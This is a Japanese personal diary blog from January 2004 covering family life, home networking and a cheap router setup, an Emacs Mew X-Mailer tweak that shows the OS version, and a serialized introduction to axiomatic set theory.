X-Mailer 変更
会社の N さんにちょっと .emacs の設定を教えたところ、お返しということで mew の X-Mailer: をかっこよくする方法を教えてもらったのです。こんな感じでして、
```
-------------------------------------------------------------------------
(defconst mew-x-mailer
  ;;(let ((base-system-name system-configuration))
  (let ((base-system-name 
    (shell-command-to-string "uname -sr | tr -d '\\n'")))
    (concat mew-version " on "
	    (if (string-match "XEmacs" emacs-version) "XEmacs" "Emacs")
	    (if (boundp 'emacs-program-version)
		(format " %s " emacs-program-version)
	      (format " %d.%d " emacs-major-version emacs-minor-version))
	    (and (boundp 'xemacs-codename)
		 (string-match "^[a-zA-Z0-9 ]+$" xemacs-codename)
		 (concat "(" xemacs-codename ")"))
	    (concat "/ " base-system-name)))
  ;;(and (boundp 'mule-version) (concat "/ Mule " mule-version)))
  "*A value inserted into X-Mailer: field in Draft mode if *non-nil*.")
-------------------------------------------------------------------------
```
今までは、
X-Mailer: Mew version 3.3 on Emacs 21.3 / Mule 5.0 (SAKAKI)
という決めうちだったのが上記の変更により、
X-Mailer: Mew version 3.3 on Emacs 21.3 / FreeBSD 4.9-STABLE
という感じになり OS の version が「動的に」入るようになったのです。ちなみに N さん曰く、「OS にこだわる人はこういう風にしなきゃだめ～」ということで、私も割り合いこだわる方なのでとってもうれしいのであります。
＃全然関係ない話ですが Mozilla を 1.6 に上げたら
＃「日本語ドメイン」をちゃんと認識するようです。
＃ http://www.宇宙の子供.com しか知らないが(^^。
＃「ＷＷＷ。宇宙の子供。ＣＯＭ」でもよし。
＃そうはいうもののはっきり言って不便なだけですな。

2004年1月22日(木)

無限公理と自然数
[集合論雑記目次]
ちょっと前に自然数の最初の方 0,1,2,3,4,5 程度を具体的に定義しましたが、一般的にはまだ定義出来ていません。ただし直感的には n が「自然数」の場合 n∪{n} を「次の自然数」と定義すればよさそうです。すると次のような定義を思いつきます。
0(=φ)は自然数である。
n が自然数のとき n∪{n} も自然数である。
自然数は上記のものに限る。
これで全然問題がなさそうな気がしますが、実際には色々問題点があるのです。まず第一に上記の定義方法は「対象(自然数)の定義」を「日本語」で書いてあり、「自然数」という言葉自体は述語論理の記号の置き換え(プログラムで言えばマクロのようなもの)と考えても、これらを述語論理の記号列に置き換えるのは困難なのです。さらに上の記述は「帰納的な定義」なので問題ないのではとも考えられなくもないのですが、超数学の立場ならともかく、数学(集合論)の形式的な立場では帰納法に関する証明はもちろん定義さえまだ出来ていないのです。いずれにしても「一億未満の自然数の定義」というならば、定義を一億個書き並べれば良いので原理的には可能なのですが、集合論での一般の自然数の定義は今までの公理では不可能であり、何らかの超越的概念が必要となってくるのです。そこでまず集合論で定義可能な「帰納集合」という概念を導入します。
[定義]
集合 I が帰納集合とは次の条件を満たすこと。
- φ∈I
- x ∈ I のとき x∪{x} ∈ I
[自然数の定義]
任意の帰納集合 I に対して x∈I のとき x を自然数と呼ぶ。
やっと自然数の定義が出来たようですが、帰納集合が一つも存在しなければ上記の定義は全く役に立ちません。そこで無限公理。
[公理 7. 無限公理]
帰納集合が存在する。
無限公理の導入と内包の公理により「自然数全体」は集合になることが分かります。この集合を当面 N または ω と記述します。ここまでの準備で N 上の通常の演算、数学的帰納法、数学的帰納法による関数の定義等が可能となりますが、そのあたりの詳細は次回以降ということで。

2004年1月21日(水)

液晶ディスプレイ来たる
家に帰ったら、注文しておいた 17inch の液晶ディスプレイが届いていました。新しい PC は置き場の整理がまだついていないので、牛に接続して眺めてみました。画質に関しては前に買った 15inch のディスプレイよりちょいと鮮やかさが劣る感じがしますが、40,000円という価格を考えれば順当な買い物であったと思いますし、さすがに 17inch の画面は大きくてとても便利そうなのです。
＃仮想画面が大きい(1600x1440)ので全然不便ではないのですが、
＃17inch の画面を見た後 X24 の画面を見るととてもちっちゃいです(^^;。
とっても多いサイエンス倶楽部の検索
たまにモカ姫のサイエンス倶楽部関連のねたを書いているのですが、普段は一週間に一回くらい検索で来られる方がいるのです。ところが今日はなんと 25 件も関連がなさそうなアドレスから検索によるアクセスが集中しまして、少々驚いているのです。どうしたのだろう。来年度の募集でも始めたのだろうか。それにしても、「くまそはにわ」の部分のアクセスが一番多いとは、検索した人にとってもサイエンス倶楽部にとっても非常に不幸な事態としか言いようがありませんな(^^。
＃真面目な話として、サイエンス倶楽部の先生方はとても優秀ですし、
＃理科教育としてすらばしいものを持っていると思います。
＃特に面白い題材と話術で子供の興味を引かせるのが上手。

2004年1月20日(火)

赤ぽっちんの誘惑
たかたにさんの記事によりますと、IBM の USB メモリーが巨大な箱ではなく、普通の袋に入って届けられたとのこと。で、たかたにさんは「赤ぽっちん」がどのような形態で届けられるか知りたくて知りたくて、試しに発注したい誘惑にかろうじて勝ったそうなのですが、なんとなく私を人柱にしたいという意図が感じられるのです(^^。
どうしよう。旧式赤ぽっちん 5個6個も余ってるし...。

2004年1月19日(月)

液晶ディスプレイ注文
なかなか決まらなかった二女 PC 用のディスプレイなのですが、結局 17inch の液晶が一番無難かな～、と思いまして実売価格が 40,000円のこちらを注文です。インターネットでうわさを拾うと、デザインは見ての通りいまいちなのですが、画面の写りや価格はかなりよろしいということで、BUFFALO というのがちょっとなんなのですが、まあどうせ OEM だし関係ないであろうと考えてこれに決定したのです。おそらく明日か明後日には届くはずなので、あとは無線 LAN (おそらく USB 対応の)を買えばめでたくブートの準備が整うのです。ところで、これでおうちで使う PC がなんと 4台になるわけなのですが、一般家庭としてはちょいと多すぎですかね(^^。

2004年1月18日(日)

大分良くなったヒンジ
というわけで、さすがにキーボードをはがすのは面倒だったので、背面のねじと前面の下の写真の丸いところに隠れているネジを閉め直したのです。丸いところをはがすのが大変かな～、と思ったのですが、単なるプラスチックシールでして、マイナスのねじ回しで周辺をむにむにしたら簡単にはがれたのです。

やってみると右側のネジが激ゆるみでして、これががたつきの最大原因だったようで、しめ直したところ状況が劇的に改善しました。あとは蓋の開閉を頻繁に行わないように注意すれば、しばらくは大丈夫そうです。
みみずの縦割り
奧さまと話していたら、小さいときにミミズが輪切りで再生するかどうか実際に切ってみたそうで、その結果は忘れてしまったそうなのですが、なんと縦割りにも挑戦したそうなのです(^^。残念ながら上手く切れなかったらしいのですが、私はミミズ(芋虫・毛虫も)が苦手でそんな大それたことはとても出来ないし、そもそも縦割りのミミズが二匹になったのを想像するだけで、とってもとっても恐くなってしまうのです(^^。

2004年1月17日(土)

ゆるんできたヒンジ
最近 X24 のヒンジがちょっと甘くなってきた感じで、まだ実害があるというほどではないのですが、今後がちょっと心配なのです。実を言いますと、席を離れるときなどに無意識にふたをしめる癖がありまして、一日 20回位空け締めをしていた感じで、最近は気をつけてはいるのですが、きっと今まで 10,000回程度開閉が行われたと思われるのです。なんとかならないかな～、とインターネットをうろついていたら、こちらにネジを閉め直す方法が書いてありまして、キーボードを取り外す必要があるそうです。やってみたい気がしないではないのですが、なんせ壊してしまった前科があるのでなかなか決断がつかないのであります。
二項関係
[集合論雑記目次]
R を集合とします、R が次の条件を満たすとき R を二項関係と呼びます。
任意の R の要素 z に対して z=(x,y) なる x,y が存在する。
言い換えると R は順序対からなる集合であるということです。(a,b)∈R のことを aRb と記述し a,b は R-関係にあると表記する場合もあります。
[定理]
ある y が存在して (x,y)∈R となる x 全体は集合
ある x が存在して (x,y)∈R となる y 全体は集合
T=∪(∪R) とすると (x,y)∈R は {{x},{x,y}}∈R のことであり、従って {x}∈∪R,{x,y}∈∪R。従って x∈T, y∈T が成立する。T は集合なので内包の公理により定理は明らか。
定理の最初の x 全体を dom(R)、二番目の y 全体を ran(R) と記述する。R⊆dom(R) x ran(R) となるのは明らか。
[R と S の合成]
R と S を二項関係とするとき、次の集合を S・R と記述します。
{(x,z)|ある y が存在して (x,y)∈R かつ (y,z)∈S}
T・(S・R) = T・(S・R) が成立することはすぐに分かります。
[R の逆関係]
{(y,x)|(x,y)∈R} を R の逆関係といい R^-1 と記述します。
関数関係と写像
[集合論雑記目次]
二項関係 R が次の条件を満たすとき関数関係と呼びます。
xRy かつ xRy' ならば y = y'
さて、A を dom(R) とし B を ran(R) を含む集合とします。このとき x∈A に対して xRy なる y はただ一つ定まるので、「関数的な」表記が可能となり、三組 (R,A,B)…[((R,A),B)のこと]を R から導入された A から B への写像と呼びます。この場合 f を (R,A,B) のこととして、
f: A → B
と記述し、「f は A から B への写像」と呼ぶことを許すこととします。また xRy の場合 f(x) を y のことと定義し y = f(x) なる記法を使用する場合もあります。上の記法で f は三組 (R,A,B) の単なる言い換えであることに注意する必要があります。また言葉の乱用で dom(f),ran(f) をそれぞれ dom(R),ran(R) のこととすると、定義により dom(f)=A, ran(f)⊆B となります。特に A x A の部分集合で x∈A に対する (x,x) 全体からなる関数関係に対応する写像を A 上の恒等写像とよび id_A と記述します。
id: A → A id(x)=x for x ∈ A
R,S を関数関係とし、(R,A,B) (S,B,C) をそれぞれ f,g とするとき(R・S,A,C) を
g・f: A → C
と記述し f と g の合成写像と呼びます。x,y∈A で f(x) = f(y) が x = y を導くとき f を一対一の写像 と言います。また ran(f)=B のとき f を上への写像と呼びます。f が一対一かつ上への写像の場合、 (R,A,B)を逆関係はを B x A 上で考えると (R^-1,B,A) は写像となります。この関係に「対応する写像」を
f^-1: B → A
と記述して f の逆写像と呼びます。このとき f^-1 も一対一かつ上への写像となります。さらに次の事実も簡単に分かります。
f: A → B と g: B → C がともに一対一ならば g・f も一対一

f: A → B と g: B → C がともに上への写像ならば g・f も上への写像

A が空集合でなく f: A → B が一対一の写像のとき
g: B → A で g・f = id_A なるものが存在する
写像に関して良く知られた基本性質は、今までの公理から容易に導くことが可能です。ただし、
A → B が上への写像のとき
g: B → A で f・g = id_B なるものが存在する
ことの証明には後述の「選択公理」必要です。いよいよ次回は「無限公理」を導入し「自然数全体の集合」を考えることにします。

2004年1月16日(金)

来なくなった evariste.dd.que.ne.jp へのアクセス
ドメインを取得してもうすぐ一月なのですが、 Redirect の効果があったようで、一昨日から旧借り物サブドメイン evariste.dd.que.ne.jp に対するアクセスがほとんどなくなりました。試しに Google で本ページを適当なキーワードで検索すると、確かにほとんど evariste.que.ne.jp もしくは evariste.jp になっているようで、もう少し様子をみて自宅サーバーの Redirect 元環境(evariste.dd.que.ne.jp)を廃止するとともに、 evariste.dd.que.ne.jp に対する DDNS のサービスを中止する様アイネットディーに申請する予定なのです。ところでメールアドレスは昨日のようなトラブルが発生した場合を考えると、公式にはそれなりに信頼出来るホスト宛 (evariste.que.ne.jp)の使用を継続したいのですが、日記の方は数日間動かなくなっても特に実害があるとは思えないので、evariste.jp を公式なホストにしたいと思うのです。というわけで次のねたへ。

お願い

ありがたくもブックマークに登録して下さったり、リンクを張って下さったり、アンテナに登録して下さっている方へのお願いなのです。まことにお手数ですが、

ページトップへのリンク http://evariste.jp/kagami/index.html

最新の日記へのリンク http://evariste.jp/kagami/diary/0000/newdiary.html

特定の月の日記へのリンク(例) http://evariste.jp/kagami/diary/0000/200401.html

特定の日の日記へのリンク(例) http://evariste.jp/kagami/diary/0000/200401.html#16

特定の記事へのリンク(例) http://evariste.jp/kagami/diary/0000/200401.html#20040116-2

と変更をお願い致します。

2004年1月15日(木)

おうちに繋がらなくなる
今日の 11時半頃から突然おうちのサーバーと通信が出来なくなり、NTT 東日本や IIJmio のページを調べてみたのですが、特に障害情報も出ていなかったのです。むむむっ、もしかしてサーバー(R30)がダウンしてしまったのか、最悪壊れてしまったのか、困ったな─と思いおうちに電話をかけたのです。おりよく奧さまが在宅でして、まずは一番あやしいと思われる R30 に繋がっているネットワークケーブルをむにむにしてもらったのですが反応なし。仕方がないのでlogin 画面で改行をたたいてもらったところこちらは反応があるとのこと。良かった～壊れてなかった(^^。さらに ADSL モデムのランプを見てもらったのですが、こちらも大丈夫そうで、おうちの LAN の線は繋がっている感じなのです。むむむっ、原因が分からない。もしかして ppp が死んでしまっているのかとも思ったのですが、そこまで調べてもらうのは無理なのでちょっと困った状態になったのです。ところがうれしいことに、そんなこんな電話で話をしているうちに突然 ssh の反応があったのです(^^。
やはり原因は R30 の外向きの PCMCIA カードに挿さっている「爪がとれちゃった^^」ケーブルのせいらしく、むにむにしてもらってから実際に PPP の接続が確立するまで少々時間がかかったようです。いやはや、いくらおうちにそれしかなかったとは言っても、やはりいいかげんな配線は良くないですね─。今日は新しいネットワークケーブルを買って帰る必要がありそうです。
＃教訓・爪がとれちゃったイーサネットケーブルを使うのは危険です(^^。
リロケーション情報
実行可能バイナリーファイルが外部参照している関数を見るてぬきな方法としては、
- grep のバイナリーモードで推測する
- strings コマンドと grep を組み合わせて推測する
が結構使われまして、個人的には 2番目を使う場合が多いのですが、あくまでも推測であり、本当は
objdump -R なんたら
とするのが正しい様です。

2004年1月14日(水)

安物ルーター in 会社
実を言いますと、現在会社からのインターネットへの物理的な経路は二つありまして、一つが B FLET'S で、もう一つが何と生きた化石とも思える 「128Kbps 専用線」なのです。しかも専用線の方は月額 7万円以上の費用が発生している(おい^^)、ということで来月初旬に廃止して全部の経路を B FLET'S 側へ統合することにしたのです。ところで、今までは光ファイバー側に何か問題があった時、メールを取り込んだり、ブラウザでインターネットをうろつく程度の用途に、電波系(含自分)以外の人たちは、一時的に「専用線」側に経路を変更することでしのいでいたのですが、今後は B FLET'S に何か障害があると代替がなく心配だな～、という意見も結構あったのです。そういうことでお金がかからないバックアップ方法を考えていたのですが、うまいことテスト用の 8Mbps の ADSL 回線がほとんど使われずに放置されている、ということなのでさっそく近くの電気屋さんで安物の BB ルーターを購入して実験です。
メーカーの選択なのですが、BUFFALO は個人的にちょっとはずれを引き続けたので、今日はコレガの 5,000 円位の BB ルーターを購入です。ほんとは 3,000円台のもあったのですが、一番安いのもなんだし、どうせ自分のお財布が痛む訳ではないので、2番目に安いのを選択したのです(^^;。
さっそく会社に戻って箱を空けてみると、なんか新聞の広告みたいな説明書が一枚入っているだけで、「詳しいマニュアルはダウンロードして下さい」とのこと。むむむっ、さすがに安物だけのことはありますな(^^;。でも、これが繋がらないとインターネットへ出れない人はどうするのだろう...。それはともかくとして、もちろん内側の初期設定 IP アドレス位のことはその紙にも書いてありまして、そのアドレスにブラウザで接続するとメニューが現われて、設定自体は常識的に行うことが可能だったのです。そこで、しばらくごちゃごちゃやって「よしよし完璧な設定だ～」、と思いつつモデムに繋いで試してみると、
全然繋がりません(-_-)
いやいやあれほど真面目に設定したのにおかしいな～、と思ってモデムを見るとデータランプが全然点灯してないのです。むむむっ、このルーターは PPPoE に設定してあるのに接続にさえ行かない不良品なのだろうか、としばらく考えたりリブートしてみたりしたのですが、全く事態は改善しません。実を言いますと接続したかどうかを確認するために、実際に IP を(外に)投げてみるのではなく、ブラウザでルーターの「状況表示」を見ていたのですが、そのとき横にいた人が「ping も通らないのですか」と言うので、「だってアドレスも振られていないのに通る訳ないじゃん」なんて言いながら外に ping を打ってみたら、なんと応答があったのです(^^;。
いやはや、このルーターは誰かが外向きの IP を投げるのを契機として接続を開始するのですねー。こう言うのはあんまり好きでないし、思考の対象からも完全に抜けていたのです。それからご丁寧にも「連続無通信切断時間」という設定項目もありまして、これが 0分から 60分まで設定できまして、デフォルトでは 10分になっていたのですが、勝手に切れては困るので、きっと 0 にすれば無効になるであろうと思い、その様に設定したのですが本当に大丈夫なのかな(^^;。どうせバックアップ用なので本当はそんなことどうでも良いのですが、安物 BB ルーターというのもメーカーにより色々と癖があるものですな。
＃安定性とかはまだ全然分からないのですが、添付のドキュメントや、
＃設定の分かりやすさは BUFFALO の方が若干良いかも知れません。

2004年1月13日(火)

なかかな決まらないディスプレイ
うーむ、やはり 17inch となると液晶は高いし、25,000円位出すとそれなりのブラウン管モニターが買えそうだし、意外と悩みは深いのです。さらには、そんなことを話していたら二女が「15 inch でもいいかな～」と言い出したのでますます混迷は深まるばかりなのです。

2004年1月12日(月)

慣れないこと
昨日はテレビでジュラシックパークを見た後、23時半頃から今日の朝まで慣れない文章書き(^^;。いやはやなかなかうまくゆかないもので、自分でもいまいち感があるのですが、とりあえず完成。後でもう少し直したくなりそうな...。
巾集合の公理
[集合論雑記目次]
次の公理を導入します。
[公理 6. 巾集合の公理]

任意の y に対してある x が存在して (∀z)(z∈x <—> z⊆y)
y の部分集合全体からなる集合が存在する。
外延性の公理により、この公理で存在が認められる集合は各 y に対して一意に定まることが分かり、y の巾集合と呼び P(x) と記述します。ここで順序対を定義して積集合を定義します。
[定義]

x,y を集合とするとき {{x},{x,y}} を x,y の順序対と言い (x,y) と記述する
外延性の公理より (x,y)=(x',y') は (x=x' AND y=y') と同値であることはすぐに分かります。さて A,B を集合として x∈A, y∈B としますと、 x∈A∪B, y∈A∪B なので {x}∈P(A∪B), {x,y}∈P(A∪B)。従って (x,y)={{x},{x,y}} は P(P(A∪B)) の要素となり、内包の公理により、
A,B を集合とするとき x∈A, y∈B に対する (x,y) 全体は集合となる
ことが分かります。この集合を A と B の積集合と呼び A x B と記述します。
で、ここから関数関係等の話を書こうと思っていたのですが、ちょっと疲れてきたのでこんど(^^。

2004年1月11日(日)

久々に車の運転
今日は奧さまとモカが「藤沢市科学少年団」の「野外観察・六国見山・鎌倉湖の自然」というお題目で、二人で朝 8時頃から出かけた...、と思っていたらすぐに帰ってきてしまったのです(^^;。事情を聞くと全然バスが来ないので間に合わない、ということでしてそれでは車で送りましょうということで、何年ぶりかの運転です(^^;。藤沢駅まで送っていったのは良いのですが、極度の方向音痴のため駅から自宅まで自力で到着できるかが心配だったのですが、今日はめずらしくトラブルなしで帰宅できたのです。それで、集合時間にはぎりぎり間に合ったそうでして、 16 時頃モカ姫の帰ってきての最初の言葉が、
あっ、パパちゃんと帰ってきている。まだ迷っていたんじゃないんだ
ということで、まったく信用がないのであります。ちなみに最近は数年に一度しか運転しないので(方向音痴であることが最大の理由)、免許証の更新の時はいつもゴールドで保険も安い、というご利益もあったりします(^^。

2004年1月10日(土)

ゴールドバッハ予想
ご存じの方(もちろんねたを提供して下さった方も)も多いと思いますが、水曜日に書いた「偶数と言えば」はゴールドバッハの予想と言いまして、今だ未解決なる問題なのです。未解決の数学問題は専門家以外の人には意味不明なものが多い中で、1995年にアンドリュー・ワイルズにより解決されたフェルマ─予想(即ち今は定理)とともに、解決は難しいが意味は分かりやすい二大予想と言えると思いますが、こちらはフェルマ ─予想の証明に使われたような代数幾何学的な手法に帰着することが難しそうで、当面解決されることはなさそうな気がします。そもそもフェルマ─予想もゴールドバッハ予想も、「証明されれば個別的には面白いが、それ自体は数学の発展には余り寄与しない」タイプの問題で、アマチュア数学者の「とんでも証明」は山の様にあるのですが、何かの切っ掛けがない限り現代の数学者が本気で証明にとりくむようなタイプの問題ではないのです。フェルマ─予想が解決されたのは、1983 年にゲルハルト・フライが「谷山・志村予想」の解決がフェルマ─予想の解決を導く可能性があることを指摘し、それを 1986 年にケン・リベットが証明し、「谷山・志村予想」は数学的に極めて多産な予想であることが切っ掛けになったのであり、ゴールドバッハ予想に関しても、このような「多産な問題からの帰着」という発見がない限り、プロの数学者が本気でとりくむとは思えず、従って証明されることもないと推測するのであります。

2004年1月9日(金)

全然分からないトラックバック
昨日と一昨日に続いて忙しかったのです。なので日記はお休み。ところでトラックバックの意味が全然理解できず、例えば「つっこみ／トラックバック」に何か書いた場合、前の「つっこみ」に比してどんなうれしいこと(違い)が起きるのか全く分からないし、もちろんその結果がどこに反映されるかも全然理解出来ていななかったりします(^^。
うーむ、やっと少し分かってきたような。でもまだちょっと～(^^。もう少し勉強する必要がありそうです。どうもありがとうございます。

2004年1月8日(木)

出張
昨日の午後から突然山梨県禾生(かせい)に泊まりで出張なのです。昨日は 11 時頃まで作業して、今日も午前中作業で 15時に会社に戻る。ちょっと疲れましたな。

2004年1月7日(水)

奇数と言えば
n を自然数(≥1)とするとき、最初の n 個の奇数和、1+3+5+...+(2n-1) は等差数列の公式により n² となるので、高校生の時普通に数学を勉強していた人にとってはトリビアルかな。
＃こちらは見た瞬間に分かったのだ(^^。
偶数と言えば
例えば 4=2+2, 6=3+3, 8=3+5, 10=3+7, 12=5+7, 14=3+11, 16=3+13, 18=5+13... と任意の偶数(≥4)は 2つの素数の和で書けるのはトリビアル？(^^。
こちらは 10000 までの実例。
こちらは 1000000 までの実例(巨大 15M)。

ちなみに 10000 までの偶数に対して和を構成するに必要な最小素数の最大は、 7426=173+7253 で、1000000 まで偶数に対しては、 503222=523+502699。案外小さいですな。
冬休み最終日
今日は子供達の冬休み最終日なのですが、モカはすでに宿題完了で、高校一年の二女は宿題なしというとってもうらやましい状況で、休み中ゲーム三昧の生活だったのです(ずっとテニスの王子様ゲームやってた)。最大の問題は浪人中の長女で、希望の大学に合格できると良いのですが今年はどうなることやら。ちなみに二女はアメリカ狂牛病騒ぎの直前に買った「ビーフジャーキーを食べるべきか食べざるべきか」という深遠なる悩みで夜も眠れないそうな(^^。
私も早めに吉野家に行きたいな～、と思っているのですが、脳がスポンジになるのも困るし...。むむむっ、確かに夜も眠れない深遠なる悩みですな(^^;。

2004年1月6日(火)

お休み
新年早々今日はちょっと体調不良でお休みなのです。いや、行けないほどではなかったのですが、代休も余っていることだし...。
対の公理・合併の公理

[集合論雑記目次]
お正月中にずいぶん書いた [なんか書き始めたらアクセス数が減ってきたような気が...(^^]つもりなのですが、未だに手持ちの集合は空集合 φ だけという情けない状況なので、ここで任意の「自然数(有限順序数)」を(とりあえず直感的に)構成するに必要な公理群を導入します。
[公理 4. 対の公理]

(∀x)(∀y)(∃z)((x∈z) AND (y∈z))
x,y を集合とするとき x と y を要素とする集合が存在する。
特に、対の公理と内包の公理により x,y のみを要素とする集合が存在することが示せまして、この集合 {z|z=x OR z=y} を {x,y} と記述します。特に x=y の場合は {x} と記述します。対の公理は 2項論理式を外延化するのに有効なのですが、ここでは順序数(自然数) 1 と 2 を構成するのに使用します。
1 = {0} = {φ}
2 = {0,1} = {φ,{φ}}
0 = φ はすでに定義済なので、なんと手持ちの数が 0,1,2 のみっつになったのです。うーん素晴らしい(^^;。でもまだ 3 は定義できそうにありません。そこで合併の公理。
[公理 5. 合併の公理]

x を集合とするとき x のある要素に含まれる要素全体はを集合である。
即ち (∃u)(u∈x AND z∈u) を満たす z 全体は集合。
この集合を x の合併といい ∪x と記述します。また ∪{a,b} を a∪b と記述する場合があります。またこの公理とは関係がないのですが、内包の公理により x≠φ の場合
x を空でない集合とする場合、x のすべての要素に含まれる要素全体は集合。
即ち (∀u)(u∈x → z∈u) を満たす z 全体は集合。
ということも分かります。この集合を x の共通部分といい ∩x と記述します。特に ∩{a,b} のことを a∩b と記述する場合があります。
うれしいことに合併の公理を使用すると直感的には任意の自然数(有限順序数) を定義することが可能となります。
3 = ∪{2,{2}} = 2∪{2} = {0,1,2}
4 = ∪{3,{3}} = 3∪{3} = {0,1,2,3}
5 = ∪{4,{4}} = 4∪{4} = {0,1,2,3,4}
...
おっと {0,1,2} とか {0,1,2,3} という表記は未定義でした(^^;。例えば {0,1,2} は {x|x=0 OR x=1 OR x=2} の略記でして、一般に {x|x=a OR x=b OR...OR x=z} を {a,b,...,z}と略記します。ここで ... は許されるのかと考えられる方もいらっしゃるかと思いますが、この場合は略記なので、こういう記述も許されるのであります。それはともかくとして、上述の定義を続ければ 6,7,8... も同様に定義できるのですが、今だ単に個別に自然数が定義できることが直感的に分かるだけでありまして、「一般の自然数(有限順序数)」という概念は定義出来ていないのであります。実はこれを実現するためにはもっと超越的な立場に立たなければならず、「自然数全体」という概念を内包化して、さらにそれを外延化する必要があるのです。そのためには「無限公理」が必要なのですが、その前に関数(写像)の概念等を定義しておかないと不便で仕方がないので、次回は「巾集合の公理」を導入により「二項論理式」を外延化して、関数等の定義を行う予定なのであります。
＃集合論シリーズは別ページに移動した方が良いと思うのですが、
＃そうするとねた不足になるし。どうしよう(^^。

2004年1月5日(月)

奇数は素数
どうやらすべての 3以上の奇数は素数であることが証明された様で、各分野の研究者の見解であります。
[数学者]
3 は素数である。5 は素数である。7 は素数である。よって数学的帰納法によりすべての奇数は素数である。
[物理学者]
3 は素数である。5 は素数である。7 は素数である。 9 は...むむむっ、これは実験に誤りがあった。 11 は素数である...。
[工学者]
3 は素数である。5 は素数である。7 は素数である。 9 は素数である。11 は素数である...。
最近は暗号等の理論の必要もあり、工学系の人たちも素数に接する機会が増えていると思うのですが、一昔前まではこんな状況だったと思うのであります。元ねたは昔読んだ(題名は忘れてしまった)なんかの本です。
そか、 5以上の素数は 6の倍数の前後 (これは本当)なのですね。高校生のころ演習問題で解いたような記憶が。n を自然数としたとき 6n,6n+2,6n+3,6n+4 は 2 または 3 の倍数で素数になり得ないので、言われてみればトリビアルなのですが、すっかり忘れていたのと、そもそも冗談話か本当の話か迷ってしまって、5分位考えたのは絶対にないしょ(^^。

2004年1月4日(日)

上野国立科学博物館
趣味の数学に没頭して全然家族サービスをしていなかったのですが、今日はお正月最後の休みということで、奧さまとモカと上野の国立科学博物館に行ってきたのです。8時20分頃に家を出発して 10時頃に到着。冬休み中は折り紙で恐竜を作ったり、懐中電灯とブザーが合体したものを作る実習コーナーが開催され、さらに液体窒素を使った色々な実験(超伝導も)なども見せて頂きなかなか盛り沢山だったのです。4つほど実習を体験させて頂きまして、終了したのが 14時00分頃で、その後お昼を食べて古代生物ブースや恐竜ブースを見学して 18時頃に帰宅。ちなみに、とても楽しめる内容で入場料が大人 420 円、子供 70円というのはずいぶん安いと思うのですが、子供 70 円という中途半端な料金はどうやって算出したのだろう。もしかして入場者数統計の費用だったりして(^^。
それはそうと今晩中に書き物が出来るのだろうか。ちょっと難しそう。

折り紙作りの説明を聞く
折り紙作成

こういのうができる
なにか説明を聞いている

火をおこす
巨大アンモナイト

2004年1月3日(土)

内包と外延
[集合論雑記目次]
内包や外延という言葉は普通はあまり使われないと思うのですが、集合論においては案外頻繁に使用されるのです。もともと集合の考えは、
x に関する性質(論理式) P(x) に対して P(x) を満たす x を「集めた」ものを考える
ということが基本になっていまして、上記の「集めた」ものを
{x|P(x)}
と記述するのは良く知られた事実であると思います。このとき性質(論理式) P(x) をそのまま考えることを「内包」と言いまして、それを成り立たせる具体的な集まり {x|P(x)} を考えることを「外延」と言うのです。ところがここに大きな問題がありまして、内包からむやみに外延を作り、それを集合と考えると矛盾が生じる場合があるのです。例えば次の性質(論理式)を考えます(ラッセルの逆理)。
NOT(x∈x)
この内包から外延 R={x|NOT(x∈x)} を作りまして R が集合であると仮定します。すると簡単に分かるように、
R∈R, NOT(R∈R)
いずれを仮定しても矛盾を生じるのです。例えば R∈R を仮定すると R の定義により NOT(R∈R) が導かれ、逆も同様なのです。このように任意の内包から無条件に外延を考察するのは非常に問題がある、ということが 19 世紀後半から 20世紀前半に認識され、それが数学において公理的な手法を重視するようになった大きな理由の一つなのであります。ここでせっかく「内包」という言葉を説明しましたので、内包の公理を導入しておきます。
[公理 3. 内包の公理]

A を集合として P(x) を論理式とする。このとき A の要素で P(x) を満たす対象(つまり集合)全体は集合である
上記で存在が認められた集合を {x|x∈A AND P(x)} もしくは {x∈A|P(x)} と記述します。また P(x) を成り立たせる x 全体が集合となることがすでに分かっている場合、単に {x|P(x)} と記述する場合もあります。せっかく集合という概念を作ったので「性質(内包)」を自由に外延化したいというのが本音なのですが、上記のような無制限な「外延化」は矛盾を生ずるので、当面は「外延の対象」をすでにある集合の部分に制約しよう、という意図の公理なのであります。それにしましても、未だに手持ちの具体的な集合は空集合 φ だけなので、この公理も全く役に立ちません。次回は「対の公理」、「合併の公理」、「巾集合の公理」を導入しまして、いよいよ任意の自然数(有限順序数)を考察する準備と致します。
空集合
{集合論雑記目次]
今までは集合論の公理を一つも用いず、いわば「お話」による説明だったのですが、本記事からは公理に従って種々の集合を構成することとします。
[公理 1. 空集合の存在公理]
(∃y)(∀x)(NOT(x∈y))
集合 y が存在して任意の集合 x に対して NOT(x∈y) を満たす

[公理 2. 外延性の公理]
(∀x)(∀y)((∀z)((z∈x)<—>(z∈y)) <—>(x = y))
要素がすべて等しい集合は等しい
ここで今後の便利のために一つの(省略記号による)論理式を導入します。
x, y を集合とするとき任意の集合 z に対し z∈x が z∈y を導く場合 x⊆y と記述する
x⊆y を「x は y の部分集合である」と表現します。また、x⊆y で x≠y の場合 x⊂y と記述し、「x は y の真の部分集合」と表現します。
上記の記述で外延性の公理は次のように簡潔に記述可能となります。
[外延性の公理書き換え版]
(∀x)(∀y)((x⊆y AND y⊆x)<—>(x = y))
外延性の公理は集合論における = (等号)の定義とみなすことが可能です。
さて上の二つの公理を使用してやっと一つの集合を定義出来るわけでして、 [空集合の存在公理]により要素を含まない集合の存在を示すことが可能で、さらに外延性の公理によりこの集合はただ一つ定まることが容易に証明出来ます。この集合を「空集合」と呼び φ と表記します。いやはや、まだ空集合の存在と一意性を示しただけなのに結構面倒ですな。先が長いことで...(^^。

集合雑記準備

[集合論雑記目次]

まずこれから扱う対象(もの)なのですが，実は集合以外は扱わないのです。もっと具体的に言いますと、空集合から種々の公理により導出される集合以外の「もの」は考えないのです。それでは数とか空間の点は考えないのかと疑問に思う場合もあると思うのですが、これらも集合と考えるのでして、上述の方法で段階的に(もしくは超越的に)構成されるのであります。集合論は数学の基礎であり、一見非常に抽象度が高そうな感じがしますが、実は数学の中では最も具体的な(構成的な) 分野なのです。前置きはこの位に致しまして、まずは「論理式」という概念と「対象式・変数」という概念が存在しまして、「論理式」はその(変数を含む場合もある)の関係を表し真偽が原理的には定まる概念でして、「対象式」は「もの」のことなのであり、今回の話では集合のことなのです。また「変数」対象式を一般的に表現する記号です。さらに今回使用する論理式はすべて集合論の基本論理式、即ち = と ∈ のみを含む一階述語論理による構成のみとします。まずは論理式の例を挙げますと、

0 = 0 常に真

1 = 3 常に偽

x = x 常に真
x = y x,y により真偽が定まる
(1 = 3) → (1 = 2) 常に真

(1 = 3) AND (x = y) 常に偽

(1 = 1) AND (x = y) x,y により真偽が定まる

